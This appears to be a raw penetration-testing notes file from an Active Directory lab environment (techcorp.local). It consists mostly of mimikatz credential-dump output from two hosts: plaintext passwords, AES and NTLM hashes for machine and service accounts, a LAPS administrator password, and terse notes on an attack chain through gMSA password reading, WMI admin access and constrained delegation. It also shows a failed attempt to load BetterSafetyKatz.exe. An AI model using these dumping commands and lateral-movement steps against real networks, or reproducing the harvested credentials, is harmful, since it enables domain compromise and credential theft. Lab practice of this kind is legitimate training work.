Laps
username: administrator (Local Admin on MailMgmt Computer)
password: 2NX7EN8oCo&T-2
US-MAILMGMT Dump
mimikatz(commandline) # <http://127.0.0.1:8080/BetterSafetyKatz.exe>
ERROR mimikatz_doLocal ; "<http://127.0.0.1:8080/BetterSafetyKatz.exe>" command of "standard" module not found !
Module : standard
Full name : Standard module
Description : Basic commands (does not require module name)
exit - Quit mimikatz
cls - Clear screen (doesn't work with redirections, like PsExec)
answer - Answer to the Ultimate Question of Life, the Universe, and Everything
coffee - Please, make me a coffee!
sleep - Sleep an amount of milliseconds
log - Log mimikatz input/output to file
base64 - Switch file input/output base64
version - Display some version informations
cd - Change or display current directory
localtime - Displays system local date and time (OJ command)
hostname - Displays system local hostname
mimikatz(commandline) # -Args
ERROR mimikatz_doLocal ; "-Args" command of "standard" module not found !
Module : standard
Full name : Standard module
Description : Basic commands (does not require module name)
exit - Quit mimikatz
cls - Clear screen (doesn't work with redirections, like PsExec)
answer - Answer to the Ultimate Question of Life, the Universe, and Everything
coffee - Please, make me a coffee!
sleep - Sleep an amount of milliseconds
log - Log mimikatz input/output to file
base64 - Switch file input/output base64
version - Display some version informations
cd - Change or display current directory
localtime - Displays system local date and time (OJ command)
hostname - Displays system local hostname
mimikatz(commandline) # sekurlsa::ekeys
Authentication Id : 0 ; 951586 (00000000:000e8522)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 3:17:30 AM
SID : S-1-5-90-0-2
* Username : US-MAILMGMT$
* Domain : us.techcorp.local
* Password : B_m3`Y;Rg:!pB)rM>nGYT7w^0/!CvL1@@+vA%:ajlT7@t@ESSs0*Vmg_9qyrcccQbdG-PLPw*PzNoPu`n$(*$2+O)'\\HiL;VD.4N;X0$Qv%r KKNy"a:O]ES
* Key List :
aes256_hmac 2a03dcfd67a30b4565690498ebb68db8de3ff27473cc7ad3590fc8f8a27335f5
aes128_hmac 65c0b72504e134531fe37b3e761b92a0
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 951540 (00000000:000e84f4)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 3:17:30 AM
SID : S-1-5-90-0-2
* Username : US-MAILMGMT$
* Domain : us.techcorp.local
* Password : B_m3`Y;Rg:!pB)rM>nGYT7w^0/!CvL1@@+vA%:ajlT7@t@ESSs0*Vmg_9qyrcccQbdG-PLPw*PzNoPu`n$(*$2+O)'\\HiL;VD.4N;X0$Qv%r KKNy"a:O]ES
* Key List :
aes256_hmac 2a03dcfd67a30b4565690498ebb68db8de3ff27473cc7ad3590fc8f8a27335f5
aes128_hmac 65c0b72504e134531fe37b3e761b92a0
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 947041 (00000000:000e7361)
Session : Interactive from 2
User Name : UMFD-2
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/3/2024 3:17:30 AM
SID : S-1-5-96-0-2
* Username : US-MAILMGMT$
* Domain : us.techcorp.local
* Password : B_m3`Y;Rg:!pB)rM>nGYT7w^0/!CvL1@@+vA%:ajlT7@t@ESSs0*Vmg_9qyrcccQbdG-PLPw*PzNoPu`n$(*$2+O)'\\HiL;VD.4N;X0$Qv%r KKNy"a:O]ES
* Key List :
aes256_hmac 2a03dcfd67a30b4565690498ebb68db8de3ff27473cc7ad3590fc8f8a27335f5
aes128_hmac 65c0b72504e134531fe37b3e761b92a0
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 118594 (00000000:0001cf42)
Session : Service from 0
User Name : provisioningsvc
Domain : US
Logon Server : US-DC
Logon Time : 7/3/2024 3:00:00 AM
SID : S-1-5-21-210670787-2521448726-163245708-8602
* Username : provisioningsvc
* Domain : US.TECHCORP.LOCAL
* Password : T0OverseethegMSAaccounts!!
* Key List :
aes256_hmac a573a68973bfe9cbfb8037347397d6ad1aae87673c4f5b4979b57c0b745aee2a
aes128_hmac 7ae58eac70cbf4fd3ddab37ecb07067e
rc4_hmac_nt 44dea6608c25a85d578d0c2b6f8355c4
rc4_hmac_old 44dea6608c25a85d578d0c2b6f8355c4
rc4_md4 44dea6608c25a85d578d0c2b6f8355c4
rc4_hmac_nt_exp 44dea6608c25a85d578d0c2b6f8355c4
rc4_hmac_old_exp 44dea6608c25a85d578d0c2b6f8355c4
Authentication Id : 0 ; 50095 (00000000:0000c3af)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 2:59:49 AM
SID : S-1-5-90-0-1
* Username : US-MAILMGMT$
* Domain : us.techcorp.local
* Password : B_m3`Y;Rg:!pB)rM>nGYT7w^0/!CvL1@@+vA%:ajlT7@t@ESSs0*Vmg_9qyrcccQbdG-PLPw*PzNoPu`n$(*$2+O)'\\HiL;VD.4N;X0$Qv%r KKNy"a:O]ES
* Key List :
aes256_hmac 2a03dcfd67a30b4565690498ebb68db8de3ff27473cc7ad3590fc8f8a27335f5
aes128_hmac 65c0b72504e134531fe37b3e761b92a0
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 50063 (00000000:0000c38f)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 2:59:49 AM
SID : S-1-5-90-0-1
* Username : US-MAILMGMT$
* Domain : us.techcorp.local
* Password : B_m3`Y;Rg:!pB)rM>nGYT7w^0/!CvL1@@+vA%:ajlT7@t@ESSs0*Vmg_9qyrcccQbdG-PLPw*PzNoPu`n$(*$2+O)'\\HiL;VD.4N;X0$Qv%r KKNy"a:O]ES
* Key List :
aes256_hmac 2a03dcfd67a30b4565690498ebb68db8de3ff27473cc7ad3590fc8f8a27335f5
aes128_hmac 65c0b72504e134531fe37b3e761b92a0
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : US-MAILMGMT$
Domain : US
Logon Server : (null)
Logon Time : 7/3/2024 2:59:47 AM
SID : S-1-5-18
* Username : us-mailmgmt$
* Domain : US.TECHCORP.LOCAL
* Password : (null)
* Key List :
aes256_hmac f12a400718bcdd5fedec676974175e8fc8921c8401ae70ba1f13b4062c874103
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : US-MAILMGMT$
Domain : US
Logon Server : (null)
Logon Time : 7/3/2024 2:59:48 AM
SID : S-1-5-20
* Username : us-mailmgmt$
* Domain : US.TECHCORP.LOCAL
* Password : (null)
* Key List :
aes256_hmac f12a400718bcdd5fedec676974175e8fc8921c8401ae70ba1f13b4062c874103
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 29863 (00000000:000074a7)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/3/2024 2:59:48 AM
SID : S-1-5-96-0-0
* Username : US-MAILMGMT$
* Domain : us.techcorp.local
* Password : B_m3`Y;Rg:!pB)rM>nGYT7w^0/!CvL1@@+vA%:ajlT7@t@ESSs0*Vmg_9qyrcccQbdG-PLPw*PzNoPu`n$(*$2+O)'\\HiL;VD.4N;X0$Qv%r KKNy"a:O]ES
* Key List :
aes256_hmac 2a03dcfd67a30b4565690498ebb68db8de3ff27473cc7ad3590fc8f8a27335f5
aes128_hmac 65c0b72504e134531fe37b3e761b92a0
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
Authentication Id : 0 ; 29944 (00000000:000074f8)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/3/2024 2:59:48 AM
SID : S-1-5-96-0-1
* Username : US-MAILMGMT$
* Domain : us.techcorp.local
* Password : B_m3`Y;Rg:!pB)rM>nGYT7w^0/!CvL1@@+vA%:ajlT7@t@ESSs0*Vmg_9qyrcccQbdG-PLPw*PzNoPu`n$(*$2+O)'\\HiL;VD.4N;X0$Qv%r KKNy"a:O]ES
* Key List :
aes256_hmac 2a03dcfd67a30b4565690498ebb68db8de3ff27473cc7ad3590fc8f8a27335f5
aes128_hmac 65c0b72504e134531fe37b3e761b92a0
rc4_hmac_nt 6e1c353761fff751539e175a8393a941
rc4_hmac_old 6e1c353761fff751539e175a8393a941
rc4_md4 6e1c353761fff751539e175a8393a941
rc4_hmac_nt_exp 6e1c353761fff751539e175a8393a941
rc4_hmac_old_exp 6e1c353761fff751539e175a8393a941
mimikatz(commandline) # exit
Bye!
Got User
username: provisioningsvc
password: T0OverseethegMSAaccounts!!
aes256: a573a68973bfe9cbfb8037347397d6ad1aae87673c4f5b4979b57c0b745aee2a
The user provisioningsvc can Read GMSA Password for the user JUMPONE$
Exploited GMSA to get Jumpone$ hash
username: us\\jumpone$
ntlm: 367032486cc36f7ba0561d7e3e90f615
Jumpone have WMI local admin access on Jump2
Got Two Users from us-jump2 dump
username: webmaster
aes256: 2a653f166761226eb2e939218f5a34d3d2af005a91f160540da6e4a5e29de8a0
username: appsvc
aes256: b4cb0430da8176ec6eae2002dfa86a8c6742e5a88448f1c2d6afc3781e114335
Appsvc have constrained delegation on us-mssql
US-MSSQL Dump
.#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \\ / ## > <https://blog.gentilkiwi.com/mimikatz>
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > <https://pingcastle.com> / <https://mysmartlogon.com> ***/
mimikatz(commandline) # sekurlsa::ekeys
Authentication Id : 0 ; 2219722 (00000000:0021deca)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 3:25:20 AM
SID : S-1-5-90-0-3
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 50365 (00000000:0000c4bd)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 2:59:53 AM
SID : S-1-5-90-0-1
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 2219763 (00000000:0021def3)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 3:25:20 AM
SID : S-1-5-90-0-3
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 29977 (00000000:00007519)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/3/2024 2:59:51 AM
SID : S-1-5-96-0-1
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : US-MSSQL$
Domain : US
Logon Server : (null)
Logon Time : 7/3/2024 2:59:50 AM
SID : S-1-5-18
* Username : us-mssql$
* Domain : US.TECHCORP.LOCAL
* Password : (null)
* Key List :
aes256_hmac 3e9b010d883ed1289099e3185eb59c0b846df40014a02bbe4a43228903355b3c
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 2217221 (00000000:0021d505)
Session : Interactive from 3
User Name : UMFD-3
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/3/2024 3:25:20 AM
SID : S-1-5-96-0-3
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 112017 (00000000:0001b591)
Session : Service from 0
User Name : dbservice
Domain : US
Logon Server : US-DC
Logon Time : 7/3/2024 3:00:08 AM
SID : S-1-5-21-210670787-2521448726-163245708-1121
* Username : dbservice
* Domain : US.TECHCORP.LOCAL
* Password : Us$r4RunningSQLSvc
* Key List :
aes256_hmac 60a8d36102239cd0026d105dbd1e4f253d244cd24d0abda135b4314cf468ca5f
aes128_hmac 7e3596366d5939b26888db98a20d6698
rc4_hmac_nt e060fc2798a6cc9d9ac0a3bb9bf5529b
rc4_hmac_old e060fc2798a6cc9d9ac0a3bb9bf5529b
rc4_md4 e060fc2798a6cc9d9ac0a3bb9bf5529b
rc4_hmac_nt_exp e060fc2798a6cc9d9ac0a3bb9bf5529b
rc4_hmac_old_exp e060fc2798a6cc9d9ac0a3bb9bf5529b
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : US-MSSQL$
Domain : US
Logon Server : (null)
Logon Time : 7/3/2024 2:59:52 AM
SID : S-1-5-20
* Username : us-mssql$
* Domain : US.TECHCORP.LOCAL
* Password : (null)
* Key List :
aes256_hmac 3e9b010d883ed1289099e3185eb59c0b846df40014a02bbe4a43228903355b3c
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 29887 (00000000:000074bf)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 7/3/2024 2:59:51 AM
SID : S-1-5-96-0-0
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 104914 (00000000:000199d2)
Session : Service from 0
User Name : SQLTELEMETRY
Domain : NT Service
Logon Server : (null)
Logon Time : 7/3/2024 3:00:06 AM
SID : S-1-5-80-2652535364-2169709536-2857650723-2622804123-1107741775
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae
Authentication Id : 0 ; 50340 (00000000:0000c4a4)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 7/3/2024 2:59:53 AM
SID : S-1-5-90-0-1
* Username : US-MSSQL$
* Domain : us.techcorp.local
* Password : )mS[&gC;#3'"\\:dOMG&lP ?q<ir-7S5Ce]&[41Lfz_T#fv0u`?do,u[xSI%yGT/tEL&V(rwy:!A;MLDKKZ0hf0&14F$Z"+Hh5#)sLH<7LJNDt-?O$c'+Q+@6
* Key List :
aes256_hmac bfaf6c480e12780af8ced22c53821e0b5fe43a727e3338cc88cf2a6dc70adf0e
aes128_hmac 8c6685fc6b5047fd5b9037442b70cb40
rc4_hmac_nt ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old ccda609713cb52b1aa752ee23aaf2fae
rc4_md4 ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_nt_exp ccda609713cb52b1aa752ee23aaf2fae
rc4_hmac_old_exp ccda609713cb52b1aa752ee23aaf2fae